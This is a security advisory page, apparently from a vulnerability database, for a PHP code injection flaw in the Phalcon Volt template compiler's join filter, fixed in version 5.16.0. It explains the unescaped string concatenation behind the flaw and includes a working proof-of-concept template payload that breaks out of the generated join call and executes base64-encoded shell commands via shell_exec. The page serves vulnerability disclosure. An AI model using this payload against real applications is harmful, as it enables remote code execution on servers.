Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)
Summary
The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.
Details
Root cause
phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:
case "join":
return "join('" . funcArguments[1]["expr"]["value"]
. "', " . funcArguments[0]["expr"]["value"] . ")";
funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.
Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):
ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");
i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.
The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.
PoC
<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;
$cmd = 'id; uname -a; hostname';
$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";
$compiled = (new Compiler())->compileString($tpl);
$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);
Impact
Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | phalcon/cphalcon | < 5.16.0 | 5.16.0 |
Referencias
- https://github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8
- https://nvd.nist.gov/vuln/detail/CVE-2026-59989
- https://github.com/phalcon/cphalcon/pull/17217
- https://github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd
- https://github.com/phalcon/cphalcon
- https://github.com/phalcon/cphalcon/releases/tag/v5.16.0
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-1336, CWE-94- Plataforma
- Composer
- Paquete
phalcon/cphalcon- Publicada
- 21.08.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-hrwp-4hh9-c8r8 - CC BY 4.0
Historial de vulnerabilidades: phalcon/cphalcon
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 3
- Primera → última
- 08.2026 08.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 2
Divulgaciones por año
- 2026: 3
-
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE) esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.